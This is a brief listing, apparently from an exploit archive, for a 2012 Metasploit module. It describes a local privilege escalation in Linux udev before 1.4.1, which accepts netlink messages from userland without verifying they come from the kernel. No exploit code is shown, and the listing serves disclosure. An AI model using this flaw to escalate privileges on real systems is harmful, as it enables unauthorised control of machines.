Linux udev Netlink Local Privilege Escalation

Linux udev Netlink Local Privilege Escalation
Posted Sep 14, 2012
Authored by Kingcope, Jon Oberheide, egypt | Site metasploit.com

Versions of udev < 1.4.1 do not verify that netlink messages are coming from the kernel. This allows local users to gain privileges by sending netlink messages from userland.
